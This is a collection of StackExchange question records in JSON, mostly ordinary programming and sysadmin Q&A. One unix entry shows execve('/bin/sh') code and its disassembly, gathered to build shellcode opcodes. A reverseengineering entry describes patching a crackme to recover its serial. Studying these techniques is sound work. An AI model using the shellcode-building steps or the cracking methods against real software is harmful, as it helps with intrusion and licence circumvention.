{  "id": "_codereview.166019"  , "question": "I am new to this SE and so bear with me. Sorry for the long post. But this much info is needed to explain !Background:I am student and working in one science institute. Our university has bunch of transport services which runs on daily basis based on pre-existing timings.For example : On Mon to Sat: 07:00, 11:00, 16:00 ... On Sundays: 09:30, 12:30, 21:00 ...There can be any number of trips per day or even each day can have different trips. So I am designing app which can give users next available transport.  Task:monday = { 07:00, 11:00, 16:00,...}sunday = { 09:30, 12:30, 21:00, ...}Let's say I have above as input information. Whenever I run this program, it should give me back next trip when we have input in following form run() #On Monday 09:00>>Output : 11:00 run() #On Sunday 13:30>>Output: 21:00Initially I thought it is very easy job. But unfortunately, my university added trips post midnight ,For example monday =  { 07:00, 11:00, 16:00,..., 01:30}sunday = { 09:30, 12:30, 21:00, ..., 02:00}Here trip mentioned in Monday list 01:30 is actually on Tuesday. This broke my existing algorithm. So currently I am using following algorithm,Step1: Distribute each input into 3 parts : first trip, trips after that and trips after midnight e.g monday =  { 07:00, 11:00, 16:00,..., 01:30}monday_first = {07:00}monday_rest = {11:00, 16:00...}monday_post_midnight = {01:30}Step2 : Combine lists from yesterday's midnight, first trip and rest of the trips e.g. new_monday_trip = sunday_post_midnight + monday_first + monday_restnew_monday_trip = {02:00, 07:00,11:00, 16:00...}Step3: Check current time and get next trip from list. If it is present then show it to user or get first item from next day. I was wondering if is there any better way. Note: Each trip input will be always in chronological orderExample Input Setmonday to saturday =  { 07:00, 11:00, 12:30, 16:00, 21:00, 00:00, 01:30}sunday = { 09:30, 12:30, 21:00, 00:30,01:30, 02:00}Code I am currently using,DayTrips.Javapublic class DayTrips {    private List<String> rawTrips;    private List<String> today = new ArrayList<>();    private List<String> tomorrow = new ArrayList<>();    public DayTrips(List<String> rawTrips) throws ParseException {        this.rawTrips = rawTrips;        Date firstTrip = null;        SimpleDateFormat format = new SimpleDateFormat(HH:mm, Locale.getDefault());        firstTrip = format.parse(rawTrips.get(0));        today.add(rawTrips.get(0)); //Add first trip.        //Now if date is before first date, it should be after midnight trip        for (String trip : rawTrips) {            if (firstTrip.before(format.parse(trip))) {                today.add(trip);            } else if (firstTrip.after(format.parse(trip))) {                tomorrow.add(trip);            }        }    }    public List<String> getToday() {        return today;    }    public List<String> getTomorrow() {        return tomorrow;    }}Week.Javapublic class Week {    private SparseArray<List<String>> weekMap;    private List<String> defaultTrips = null;    /**     * WeekMap will contains trips for any day of week. Keys are equal to Calender.DAY_OF_WEEK     * of respective days. Default trips should be in following priority     * Monday > Tuesday > .... > Sunday     */    public Week(SparseArray<List<String>> weekMap) {        this.weekMap = weekMap;        //Get default trips in given priority        for (int i = Calendar.MONDAY; i <= Calendar.SATURDAY; i++) {            if (weekMap.get(i) != null) {                defaultTrips = weekMap.get(i);                break;            }        }        //In Case only Sunday Trips are available        if (defaultTrips == null) {            defaultTrips  = weekMap.get(Calendar.SUNDAY);        }    }    /**     * This method should return next transport trip for given timing     *     * @param calendar : User defined time     */    public String[] nextTrip(Calendar calendar) throws ParseException {        Date now = new Date(calendar.getTimeInMillis()); //Record input time        SimpleDateFormat format = new SimpleDateFormat(HH:mm, Locale.getDefault());        //Check with trips for post midnight from yesterday        calendar.add(Calendar.DATE, -1); //Yesterday        List<String> beforeFirstTrip = new DayTrips(weekMap.get(calendar.get(Calendar.DAY_OF_WEEK), defaultTrips)).getTomorrow();        for (String s : beforeFirstTrip) {            if (format.parse(s).after(now) || format.parse(s).equals(now)) {                return new String[]{s, yesterday};            }        }        //Check today's trips        calendar.add(Calendar.DATE, 1); //Today        List<String> todaysTrip = new DayTrips(weekMap.get(calendar.get(Calendar.DAY_OF_WEEK), defaultTrips)).getToday();        for (String s : todaysTrip) {            if (format.parse(s).after(now) || format.parse(s).equals(now)) {                return new String[]{s, today};            }        }        //Check tomorrow's trips (i.e. post midnight today)        List<String> tomorrowTrip = new DayTrips(weekMap.get(calendar.get(Calendar.DAY_OF_WEEK), defaultTrips)).getTomorrow();        for (String s : tomorrowTrip) {//In this case we need to check if time is between last trip of today and first trip of tomorrow        //Hence we should use before instead after for comparing            if (format.parse(s).before(now) || format.parse(s).equals(now)) {                return new String[]{s, today_after_midnight};            }        }     //Else get first trip of tomorrow    calendar.add(Calendar.DATE, 1);    return new String[]{weekMap.get(calendar.get(Calendar.DAY_OF_WEEK), defaultTrips)).get(0), tomorrow};    }}"  , "title": "Designing transport service app in Android"  , "tags": "java;android"  } 
{  "id": "_webmaster.83443"  , "question": "We plan to have a SSL certificate for our web server which is running multiple independent web applications. Those web applications are running on the same web server but are not related to each other (accessed by www.example.com/sub1, /sub2 and so on). If we have the SSL certificate issued for main domain, in order to put the each web applications on SSL, do we still need SSL certificate for each and every web applications?"  , "title": "Does each and every subdomain require its own SSL certificate?"  , "tags": "https;security certificate"  } 
{  "id": "_unix.364181"  , "question": "lscpu output looks like-Architecture:          x86_64CPU op-mode(s):        32-bit, 64-bitByte Order:            Little EndianCPU(s):                4On-line CPU(s) list:   0-3Thread(s) per core:    2Core(s) per socket:    2Socket(s):             1NUMA node(s):          1Vendor ID:             GenuineIntelCPU family:            6Model:                 69Stepping:              1CPU MHz:               1200.093BogoMIPS:              3392.08Virtualization:        VT-xL1d cache:             32KL1i cache:             32KL2 cache:              256KL3 cache:              3072KNUMA node0 CPU(s):     0-3The output shows the pc has 1 socket and 2 cores per socket. Probably this socket is not networking socket."  , "title": "What is the difference between lscpu Socket and networking Socket?"  , "tags": "socket"  , "accepted_answer": "Youre right! The socket in lscpus output refers to the physical socket which the processor package sits in, on the motherboard; a networking socket typically refers to BSD sockets."  } 
{  "id": "_webapps.1015"  , "question": "After adding new contacts to a group in Gmail Contacts, an email sent to that group will be missing the recently added contacts, with no alert to that fact.  You can check the emails to see if they're missing, but with hundreds in a group that's not really feasible, so I end up waiting many hours or a day before I dare send a message.I don't expect anyone here to fix their bug, but I hope someone can tell me what the amount of time that I need to wait to be safe is.So,How long do I need to wait before sending a message in Gmail to a group that I've just added contacts to?"  , "title": "Delay Bug with Gmail Contacts"  , "tags": "gmail;contacts;delay time"  , "accepted_answer": "The general answer we get from Google support is that unless otherwise stated, changes will take about 30 minutes to propagate to all servers. This is mostly in relation to API changes though - I've not heard/seen delays of hours or more from changes made via the UI.If my users were consistently reporting significant delays for certain functions I'd be contacting support to ask why. Users expect that if the UI says something is done, then it truly is done."  } 
{  "id": "_softwareengineering.167134"  , "question": "I have been exploring Clojure for a while now, although I haven't used it on any nontrivial projects. Basically, I have just been getting comfortable with the syntax and some of the idioms. Coming from an OOP background, with Clojure being the first functional language that I have looked very much into, I'm naturally not as comfortable with the functional way of doing things.That said, are there any specific workflows or design patterns that are common with creating large functional applications? I'd really like to start using functional programming for real, but I'm afraid that with my current lack of expertise, it would result in an epic fail. The Gang of Four is such a standard for OO programmers, but is there anything similar that is more directed at the functional paradigm? Most of the resources that I have found have great programming nuggets, but they don't step back to give a broader, more architectural look."  , "title": "Are there any specific workflows or design patterns that are commonly used to create large functional programming applications?"  , "tags": "design patterns;functional programming;application design"  , "accepted_answer": "Patterns of this kind are usually symptoms of a broken, unfit underlying model. OOP is broken by design, unfit for the most of its applications, therefore it bursts with all that so called patterns. Functional model is (just a bit) more flexible, and the need in patterns is not that obvious there.Once you start applying a (natural for the functional programmers) language-oriented approach, using or creating DSLs for each specific problem domain, you'll find that no patterns are showing up at all, because you're always employing an adequate model for describing a problem.Of course some recurring high level patterns or recipes are unavoidable even in the very abstract, clean and pure math, but they're of a different kind and of a different level of abstraction than the GoF patterns. You'll find monads useful, for example."  } 
{  "id": "_unix.220309"  , "question": "I have multiple .csv files in a folder named HW in my desktop and I am using cygwin , I want to find a string from a specific column for example in X column ARD is the header in content value may be true or false , I want to find the count of ARD=true.Please help me..."  , "title": "How to find a string from multiple .csv files"  , "tags": "cygwin"  } 
{  "id": "_webmaster.20651"  , "question": "I have a web server at www.ourcompany.com running Apache2. Using the proxy modules, I am able to (for example) get 172.16.0.5, an internal IP device, to be accessed on www.ourcompany.com/device.The trouble is that anyone can play with or explore the device using strings sent to www.ourcompany.com/device/change/settings/here.html. I'd like the reverse proxy to only work for a specific URL; www.ourcompany.com/device/you/must/use/this while anything else will be rejected if requested.Is there a setting that can be used to do this, or is it a simple rewrite condition placed in the virtualhost for the site under sites-enabled? What is the simplest, most maintainable way to sanitize requests to the internal device through the reverse proxy?Running Apache2 on Ubuntu."  , "title": "Reverse proxying only a specific URL"  , "tags": "apache2;proxy"  } 
{  "id": "_unix.146518"  , "question": "This is the content of root's crontab:0       23      *       *       0-4     /usr/sbin/rtcwake -time `date --date=+16 hours +%s` -m memThis is set to fire off that command every Sun-Thu at 11pm. The command is essentially a suspend for the next 16 hours while I'm at work to save power. I've test the command with smaller times (30, 60 seconds) and it works. However, when I wake up in the morning and check my machine, it's still running.Here's what's in the logs:Jul 24 23:00:01 gallactica CRON[5033]: (root) CMD (/usr/sbin/rtcwake -time `date --date=+16 hours +)So does this mean it ran? Why didn't it actually work?"  , "title": "How to find out why my cron didn't run?"  , "tags": "linux;logs;cron"  } 
{  "id": "_reverseengineering.9142"  , "question": "I have an app (reverseme) that looks like calc.exe.It has 9 number btns, clear and enter buttons.The enter is disabled.There is another input textbox without any enter or submit button. It takes inlut from the keyboard but when i press enter it doesnt throw any badboy or goodboy messages just a sound of a bad press.I need to enable the enter button and find the serial.The app compiled with borland and writteb in c++.It uses kernel32, user32, comctc32.I have disabled the entered button by enabling it in reseditor and noping the disabling routine in the code but im shure there is another way."  , "title": "How to find a verification routine that enables a button and a textbox"  , "tags": "crackme"  } 
{  "id": "_cs.59583"  , "question": "Consider the town as a grid $N$ x $N$. Thus, there are $(N+1)(N+1)$ of junctions and $2N(N+1)$ two-way roads. Every intersection has a height. It is known that the upper left intersection has a height of $0$, and the lower right the height $1$. For each road we know how many people go in each direction on this road. In this case, if the road leads from the intersection $i$ to the intersection $j$ and the height difference $h = h_j - h_i$, the inconvenience of moving every person on this road is equal to $\\max(h, 0)$. For all intersections except two angle are allowed to choose any height. It is necessary to minimize the total inconvenience. In the end, it is necessary to obtain only a total inconvenience, the individual heights are not needed.I think all heights will lie in the set $\\{0, 1\\}$. It is clear that you can honestly cycle through all the bitmaps and choose the best. But you need to find more efficient algorithm. One of my ideas was to put all the intersections in the upper left part of the height equals $0$, and the right lower part of the height equal to $1$. Here would be required to find the optimal boundary. I came up with a way of solving by finding maximum flow of minimum cost in $O(N^8)$. Can it be better?Example:P. S. Sorry for my bad English."  , "title": "It is necessary to minimize the functional"  , "tags": "optimization;network flow;max flow"  , "accepted_answer": "This problem is exactly the problem of finding the minimum $(s,t)$ cut in a directed graph, where $s$ is the upper-left corner and $t$ is the lower-right corner.  All the vertices on the $s$ side of the cut will be assigned height 0; all the vertices on the $t$ side of the cut will be assigned height 1; and the capacity of the cut is equal to the sum of the counts on the edges that cross the cut in the $s\\to t$ direction.  You want to minimize this sum, so you want to find the minimum $(s,t)$ cut. There are many standard algorithms for doing that, based on finding a maximum flow and then applying the min-cut max-flow theorem."  } 
{  "id": "_cs.10646"  , "question": "Sudoku is well known puzzle which is known to be NP-complete and it is a special case of more general problem known as Latin squares. A correct solution of the $N \\times N$ square consists of filling every row and every column with numbers from $1$ to $N$ under the condition that every number appears exactly once in any row or any column.I define a new problem. The input is a correct solution of $N \\times N$ Sudoku puzzle (more generally Latin square problem). I would like to decide whether there is permutation of rows and permutation of columns such that no row and no column contains consecutive triples. An examples for a row without consecutive triple is 9 5 6 2 3 8 4 7 1. An example for a row with consecutive triple is 8 9 5 2 3 4 7 6 1. The triple is 2 3 4.I suspect the problem is NP-hard but I was not able to find a reduction.How hard is solving this variant of Sudoku puzzle? Is it NP-complete?EDIT : To clarify, the same permutation must be applied to the columns and the rows."  , "title": "How hard is a variant of Sudoku puzzle?"  , "tags": "complexity theory;np complete"  , "accepted_answer": "When the row and column permutations are different and the consecutive triples have to be increasing: The answer is always YES.Suppose the matrix has size $N\\times N$. Consider a random permutation of the columns. Each row (by itself) is a random permutation. The probability that the numbers $i,i+1,i+2$ appear in positions $t,t+1,t+2$ is $1/(N(N-1)(N-2))$. There are $N-2$ choices for $t$ and $i$, and $N$ different rows. Therefore the expected number of consecutive triples is $N(N-2)^2/(N(N-1)(N-2)) < 1$. We conclude that there is some permutation of the columns, under which there are no consecutive triples in any of the rows. Now repeat the same argument for the columns - note that permuting the rows cannot create a consecutive triple in any of them.When the row and column permutations are the same, and consecutive triples can be either increasing or decreasing: The answer is still YES, for large enough $N$.The idea is to use the lopsided version of the Lovsz local lemma, via Lu and Szkely's paper Using Lovsz local lemma in the space of random injections. In the earlier proof, we considered events $X_{\\ell,i,t,\\sigma}$ for $\\sigma \\in \\{\\pm 1\\}$, which for a line $\\ell$ (either a row or a column), state that $\\ell(i+\\sigma\\delta)=t+\\delta$ for $\\delta \\in \\{0,1,2\\}$. These are examples of the canonical events considered by Lu and Szkely: if the random permutation (permuting both rows and columns) is $\\pi$, then they are of the form $\\pi(t)=j_0,\\pi(t+1)=j_1,\\pi(t+2)=j_2$, where $j_\\delta = \\ell^{-1}(i+\\sigma\\delta)$. Two events $X_{\\ell,i,t,\\sigma},X_{\\ell',i',t',\\sigma'}$ conflict if $\\{t,t+1,t+2\\} \\cap \\{t',t'+1,t'+2\\} \\neq \\emptyset$ or $\\{j_0,j_1,j_2\\} \\cap \\{j'_0,j'_1,j'_2\\} \\neq \\emptyset$ (this is actually only a necessary condition). Each event conflicts with at most $2N\\cdot 2\\cdot 2\\cdot 5 - 1= 40N-1$ other events ($2N$ lines, two orientations, two ways to conflict, five conflicting positions). While non-conflicting events are in general dependent, using the lopsided version of the Lovsz local lemma we can ignore this, and let our dependency graph include edges only for conflicting events. Since the probability that each event happens is $p = 1/(N(N-1)(N-2))$ and the size of each neighborhood is $d \\leq 40N-1$, the lemma applies whenever $ep(d+1) \\leq 1$, that is$$ 40eN \\leq N(N-1)(N-2). $$This condition is satisfied for $N \\geq 12$. We conclude that for $N \\geq 12$, the required permutation always exists. Using the recent constructive version of LLL, we can even find it efficiently."  } 
{  "id": "_cs.59424"  , "question": "I'm trying to solve$$ T(n) = 4T(n/4) + n \\log_{10}n.$$I'm having trouble with Iteration Method near the end.As far as I went, I obtained the General Formula as:$$4^kT(n/4^k)+n\\log n+\\sum (n/4^k)\\log(n/4^k)$$And trying to get the moment when it finishes iterating:$$(n/4^k)=1$$$$n=4^k$$$$\\log_4n=k$$And here I get stuck. I know I have to substitute $k$ with $\\log_4n$ but after that I'm lost. Can I get a bit of help with explanation of every step? Here are some more details:Swapped $\\log_4n$ on all $k$:$$4^{\\log_4n} T(n/4^{\\log_4n})+n\\log_2n+\\sum_{n=0}^{\\log_4n}n\\log n$$From logarithm rules of $a^{log_an} = n$, it ends like this:$$(n)(1)+n\\log_2n+\\sum_{n=0}^{\\log_4n}n\\log n$$I'm not sure how to express the sum in $n$, but as you can see already, it is $O(n\\log_2n)$, and with the Master Theorem, you obtain the same result $O(n\\log n)$. "  , "title": "Solving the recurrence T(n) = 4T(n/4) + n log n with the iterative method"  , "tags": "recurrence relation;discrete mathematics"  } 
{  "id": "_unix.61891"  , "question": "Just trying to get the assembler instructions for <__execve> of the code below because i want to build the shell spawn opcode list:#include <stdio.h>int main(){     char *happy[2];     happy[0] = /bin/sh;     happy[1] = NULL;     execve (happy[0], happy, NULL);}Objdump gives me this : 8053a20:    53                      push   %ebx8053a21:    8b 54 24 10             mov    0x10(%esp),%edx8053a25:    8b 4c 24 0c             mov    0xc(%esp),%ecx8053a29:    8b 5c 24 08             mov    0x8(%esp),%ebx8053a2d:    b8 0b 00 00 00          mov    $0xb,%eax8053a32:    ff 15 a4 d5 0e 08       call   *0x80ed5a48053a38:    3d 00 f0 ff ff          cmp    $0xfffff000,%eax8053a3d:    77 02                   ja     8053a41 <__execve+0x21>8053a3f:    5b                      pop    %ebx8053a40:    c3                      ret    8053a41:    c7 c2 e8 ff ff ff       mov    $0xffffffe8,%edx8053a47:    f7 d8                   neg    %eax8053a49:    65 8b 0d 00 00 00 00    mov    %gs:0x0,%ecx8053a50:    89 04 11                mov    %eax,(%ecx,%edx,1)8053a53:    83 c8 ff                or     $0xffffffff,%eax8053a56:    5b                      pop    %ebx8053a57:    c3                      ret    8053a58:    90                      nop8053a59:    90                      nop8053a5a:    90                      nopFrom several texts I've read there was supposed to be a int 0x80 somewhere in the above output. Why isn't there one? Are there any major changes in the 3.2 kernel concerning how syscalls work that might affect the algorithms of shellcode building (specific register loads, etc) which are presented in books written 3-4 years ago? The above dump looks very different from the output presented in the Shellcoders Handbook or Smash the StackThanks!"  , "title": "Linux kernel 3.2 syscalls"  , "tags": "linux kernel;c;assembly"  , "accepted_answer": "The syscall implementatin is hardware dependent (heavily) - see wikipedia article on syscalls and the article on kerneltrap. On modern x86 it seems int 0x80 has been abandoned in favour of the newer SYSENTER et al some time ago.For me __execve looks like this:000000000040f7c0 <__execve>:  40f7c0:    b8 3b 00 00 00          mov    $0x3b,%eax  40f7c5:    0f 05                   syscall   40f7c7:    48 3d 00 f0 ff ff       cmp    $0xfffffffffffff000,%rax  40f7cd:    77 02                   ja     40f7d1 <__execve+0x11>  40f7cf:    f3 c3                   repz retq   40f7d1:    48 c7 c2 c0 ff ff ff    mov    $0xffffffffffffffc0,%rdx  40f7d8:    f7 d8                   neg    %eax  40f7da:    64 89 02                mov    %eax,%fs:(%rdx)  40f7dd:    48 83 c8 ff             or     $0xffffffffffffffff,%rax  40f7e1:    c3                      retq     40f7e2:    66 90                   xchg   %ax,%ax  40f7e4:    66 2e 0f 1f 84 00 00    nopw   %cs:0x0(%rax,%rax,1)  40f7eb:    00 00 00   40f7ee:    66 90                   xchg   %ax,%axNote the syscall at the beginning. The exact form of the function depends on compilation flags and the architecture for which the code is compiled - see gcc's options -mtune and -march.EDIT: Additional interesting links:http://lkml.indiana.edu/hypermail/linux/kernel/0606.0/1234.htmlhttp://lkml.indiana.edu/hypermail/linux/kernel/0806.3/2133.htmlhttp://articles.manugarg.com/systemcallinlinux2_6.html"  } 
{  "id": "_codereview.146471"  , "question": "Here is a simple implementation of generic method that get value from array in class and cast it to a type.     private T GetReferenceFieldValue<T>(ReferenceRow referenceRow, string fieldName)    {        var referenceField = referenceRow.field.FirstOrDefault(x => x.name == fieldName);        if (referenceField != null)        {            //Dictionary for actions with types            var typeActions = new Dictionary<Type, Func<object>>                {                    { typeof(DateTime), () => { return DateTime.Parse(referenceField.Item.ToString()); } },                    { typeof(int), () => { return int.Parse(referenceField.Item.ToString()); } },                    { typeof(string), () => { return referenceField.Item.ToString(); } },                    { typeof(Guid), () => { return new Guid(referenceField.Item.ToString()); } },                };            var fieldValue = typeActions[typeof(T)]();            return (T)Convert.ChangeType(fieldValue, typeof(T));        }        return default(T);    }"  , "title": "Generic coverter for fields in class"  , "tags": "c#;generics"  , "accepted_answer": "referenceRow.fieldThe field name does not comply with the C# naming convention for public members that should be PascalCase. It should also probably be Fields since it's apparently a collection.typeActionsConsider changing its name to convertTo which in this context makes the usage more natural:var fieldValue = convertTo[typeof(T)]();Func<object>Consider using a parameter rahter then using closures. That makes the usage even clearer.If you define it asFunc<object, object>and the lambdas as{ typeof(DateTime), x => { return DateTime.Parse(x.ToString()); } },you can call it withvar fieldValue = convertTo[typeof(T)](referenceField.Item);if (referenceField != null)Avoid unnecessary nesting. You can use a postive condition == null and return right away if it's nulll.return (T)Convert.ChangeType(fieldValue, typeof(T));This is redundant. The converted value has already the target type. It just needs to be casted and because the ChangeType boxes the value anyway, you might as well do it yourself like this:return (T)(object)typeActions[typeof(T)]();"  } 
{  "id": "_cs.51951"  , "question": "If linear programming suggests that we need $2.5$ trucks to deliver goods, why can't we round up and say $3$ trucks are needed?If linear programming suggests we can afford only $3.7$ workers, then why can't we just round down to $3$ workers?When can we not use this rounding technique?"  , "title": "Why can't we round results of linear programming to get integer programming?"  , "tags": "optimization;linear programming;integer programming;rounding"  , "accepted_answer": "If there are only constraints that place a lower bound on the number of trucks, but no constraints that place an upper limit on the number of trucks, then of course you can round up.  That will still give you a solution.However, there are multiple caveats:First, this isn't always possible.  Sometimes there are both constraints that place lower limits and constraints that place upper limits.  It can happen that taking a solution and rounding gives you something that is no longer a solution.Even if the result of the rounding is a solution, there is no guarantee that it is the best out of all solutions that uses integers.  There may be some other way to choose integers for all the variables that is better than the solution you got by rounding.If you want solutions that are all integer, then you have an integer linear programming problem.  Integer linear programming (ILP) is harder than linear programming (LP).  In particular, there are polynomial-time algorithms for LP, but ILP is NP-hard, so there is most likely no polynomial-time algorithm for ILP (unless P=NP, which is considered unlikely)."  } 
{  "id": "_unix.192965"  , "question": "To execute a shell script in background and without an interruption, we use nohup command. For example:$nohup mytest.sh &Press ALTPress EnterIs there any drawback or disadvantage of this nohup utility as this is not a UNIX / LINUX inbuilt command?"  , "title": "Is there any disadvantage of executing a shell script using nohup?"  , "tags": "linux;nohup"  , "accepted_answer": "The disvantages of using nohup would be:No stdout messages. You will have to follow the nohup.out file to check everything your command is doing. This is the place where nohup will print things. It is an advantage depending on the point of view.No stderr output. You will have to manually redirect those messages.And these two are not drawbacks, but interesting points about nohup:It's not a builtin command(in case of bash), but it makes part of the  GNU\\coreutils package. Almost all distributions package it and install as default. More easy to have nohup installed on your system than tmux, screen or another screen multiplexing tool.Some shells like tcsh have their own version of nohup. Isn't even a drawback, but you have to be aware of how it works if you are planning to use another *NIX/BSD system."  } 
{  "id": "_unix.289732"  , "question": "To my surprise a trial of using crontab and rsync for backups of some test files, that I started last December (2015), is still running although, in the only crontab file I have, the only line is #55 20 * * * /home/Harry/testrsync/trial_bak.shwhich is, or should be, commented out by the # added when I thought I had ended the trial after a couple of weeks. My question is Why is it still being executed? Or is there any other way this line (without the #) could be executed? The backups are made daily at 20-55 and only the last four are kept, this is still going on exactly as the crontab entry and trial_bak.sh script defines it.I am using zshell and Fedora 20, this is part of my preparation to update to the latest Fedora.Solved:Thanks to all who responded. Following @Marki555's answer I found that I have a /etc/cron.daily directory that contains the script that does the daily backup, so the entry in crontab is indeed commented out and is not actuated."  , "title": "Why is this commented out crontab file line executed?"  , "tags": "cron"  , "accepted_answer": "The cron daemon takes crontabs from several files.Dir /etc/cron.d and file /etc/crontab are special, they can be manually edited and the daemon will always see the new version automatically. Also these are the only crontab files which have also username field.The crontabs of individual users (usually in /var/spool/cron/crontabs) are not re-read automatically by the cron daemon. You should either edit them by using command crontab -e, or restart the cron daemon after each change.So in your case I suggest you first restart the cron daemon. Also you can add some debugging output to the trial_bak.sh script like running pstree -p."  } 
{  "id": "_webmaster.89360"  , "question": "Is it a good practice to make low quality links un-crawlable for search engine spiders? Usually we put nofollow but that divides link juice.  We would like to increase link juice to all other do-follow links?if yes, is there special JavaScript that we should use?"  , "title": "Is it a good practice to make low quality links un-crawlable to increase link juice?"  , "tags": "seo;links;backlinks"  , "accepted_answer": "There is no need to worry about lost link juice for internal links.   You lose link juice when you use nofollow or when you link to something in robots.txt.   Many sites do one or the other of those with a large number of links on each page and yet they continue to rank just fine.I've experimented with this before.   I've tried to hide links from Googlebot so that Googlebot conserves every ounce of Pagerank.   It doesn't help.   My theory is that Google uses internal links to assign a weight to each of your pages and then scales those weights by your domain rank.   Losing internal Pagerank ends up not mattering because of that scaling factor.Writing links with JavaScript won't even help these days.   Googlebot does a great job of parsing JavaScript and can render pages just like a real browser does.   Googlebot would be able to see any links created by JavaScript just as well as normal HTML links."  } 
{  "id": "_cs.57150"  , "question": "Suppose that I have a boolean function of size $k$ with $n$ inputs. I would expect to be able to evaluate it on all possible inputs in time $O(k*2^n)$ simply by calculating all the intermediate values for every possible input. Is it possible to do this faster in general, for example in time $(k+2^n)$?In the special case of linear functions I would expect to be able to do this by going from point to point in gray code order, so that only one bit changes each time, or by calculating tables of size $1,2,4,8,\\dots,2^n$ for the functions produced by holding the last $n-i$ bits at zero, using each table to calculate the next one. Are there generalizations of this for general boolean circuits, or are there proofs that no such generalizations are possible?I have a slightly off-the-wall motivation for this. I am interested in the simulation hypothesis. One reason for running a large number of simulations would be to investigate the result of running the same scenario for all possible inputs.I would be interested to learn that there was, or was not, a significantly more efficient approach which would achieve the same ends, especially as such a more efficient approach would not have a direct link between any particular set of simulated histories and any particular act of the program, as the increased efficiency of the program would be mean that it could not be the case that every possible history could be mapped to its own set of program activity.Edit - batch calculation as described above is more powerful when the batch step is used inside a recursive call, as then you don't need to go through all 2^n answers at once. For #P-complete problems, each recursive call returns the number of solutions found within some range of values. For NP-complete problems, each recursive call returns whether a solution is found in some range of values.Each recursive call uses the batch mechanism to compute the answers for 2^k different problems. This corresponds to k bits of the n bits available. So the lowest level of the recursion just looks at 2^k different results to see whether they are solutions or not, but the highest level looks at 2^k results which are each e.g. the number of solutions found within 2^(n-k) evaluations, each with the k top bits of n set to a different value. Here I assume that the language used to express our function f() is sufficiently flexible that level i+1 can treat level i as just a function f() to consider at 2^k points, even though this f() amounts to a transformation of the original f() producing a function which counts the number of solutions in a particular range or says whether this number is non-zero.If the cost of level i+1 of the recursion is X_i+1 = b + a*X_i then for a!=1 we getX_i = a^i + b/(1 - a) and for a=1 we get X_i = ib (with variations depending on what X_0 is). Remember that the number of possible solutions examined at each level is 2^(ik) so for small a compared to 2^k this is a large speedup, and for the case of a=1 we would find that P=NP and even P=#P.(I remain interested in answers that would firm this up or extend this)"  , "title": "Amortizing or batching circuit evaluation for many different inputs?"  , "tags": "algorithms;complexity theory;circuits"  } 
{  "id": "_unix.332768"  , "question": "I am using zsh within Terminator. I also use Gnome. When I open up Terminator I found that my $PATH variable was set incorrectly. Checking the box to have zsh run as a login shell corrects the issue. Why does Gnome or GDM not set the proper environment variables when I do actually log in?"  , "title": "Why are Environment Variables Not Set Gnome"  , "tags": "environment variables;login"  , "accepted_answer": "You didn't specify what operating system you are using, but from your description of the problem it sounds like you are using one of the new operating systems that use Wayland as the graphical session protocol instead of X11 - such as Fedora.Under Wayland (at least under GNOME), the profile files (/etc/profile, ~/.profile and others) are not loaded as part of the graphical desktop session - see here for the GNOME pseudo-explanation of this behavior. Generally running script files under a Wayland sessions is not preferable/doable (depending on context). There is ongoing work to solve some of the problems with this, including loading static environment descriptors from various locations. See this Arch forum discussion for some suggestions, but in general this is a current problem that is being worked on.The best work around for this problem, as far as I can tell, is indeed setting your terminal program to invoke the shell as a login shell (and almost all terminal emulators today have that option if not the option of manually specifying the command line with the correct flags). There are other workarounds documented around the web and on this stack exchange site."  } 
{  "id": "_webapps.80364"  , "question": "I am new to Wolfram Alpha.Doing my best, still I don't know how to use a variable with a length higher than one. Here I use a variable called ba while wolfram alpha interprets that as b*a instead of a single variable.link"  , "title": "Using variables with name longer than one letter in Wolfram Alpha"  , "tags": "wolfram alpha"  } 
{  "id": "_unix.328963"  , "question": "I'm trying to write a very simple mkcd command:#!/bin/bashmkdir $1cd $1The directory is created but the change directory part doesn't seem to run.Update based on comment:mkcd () {  mkdir $1  cd $1}I'm trying to run it first as a local file:./mkcdMy end location is /opt/bin, neither location seems to work."  , "title": "Why isn't custom mkcd command working?"  , "tags": "bash;scripting;alias"  , "accepted_answer": "It needs to be a function:mkcd() { mkdir -p $1 && cd $1; } A script will get run inside its own separate process. Changing directories there will have no effect on the parent shell (neither will changing directories inside a subshell as in (cd /tmp))."  } 
{  "id": "_unix.30985"  , "question": "During boot a series of predetermined daemons (such as dbus, hal, network) are started. Whenever I'm not connected to an Ethernet cable the network service will obviously fail, but before failing it stalls the boot process for something around 20 seconds. I'm probably asking too much, but it would be great to be able to manually force cancel the initialization of the network daemon (maybe by pressing some key). This way I could cancel it whenever the network cable isn't plugged, and avoid having to wait an extra minute or so.Is that possible?I don't want to just remove network from boot permanently."  , "title": "Cancelling execution of daemons during boot"  , "tags": "arch linux;daemon"  , "accepted_answer": "You can interrupt a particular startup script that is hanging with control-C.  This won't abort the whole startup sequence.  There might be more than one service that hangs, so you might need to hit control-C a few times.  Don't lean on the key, just interrupt services as they hang until you get a login prompt."  } 
{  "id": "_webmaster.6499"  , "question": "How do I allow visitors on my site to share my photos, on their Facebook wall/news feed?I see that there is a share or like option from Facebook but that seems to share the whole page.I would like to have it so that each picture has a small Facebook icon next to it and when they click it, that specific image only is added to their Facebook news feed/wall.My site is in ASP.NET 3.5 using C#. I can develop in C# so if that is a route to what I am trying to achieve that is fine.Thank You."  , "title": "How do I allow visitors on my site to share my photos on their facebook news feed?"  , "tags": "html;web development;facebook;asp.net;social media"  , "accepted_answer": "This should be what you're looking for. http://developers.facebook.com/docs/share However, do note that that is no longer the recommended way to do it. Soooo...Use either the OpenGraph or the Like Button. The latter is the easier of the two.http://developers.facebook.com/docs/opengraphhttp://developers.facebook.com/docs/reference/plugins/likeedit- As an addendum if you look at the documentation for share and search for Creating Your Own Share URL (bottom of the page) you'll see how to construct the proper url.http://www.facebook.com/sharer.php?u=<url to share>&t=<title of content>http://www.facebook.com/sharer.php?u=http://farm1.static.flickr.com/9/14443265_696a35719b_o.jpg&t=aFlickrPictureHTH."  } 
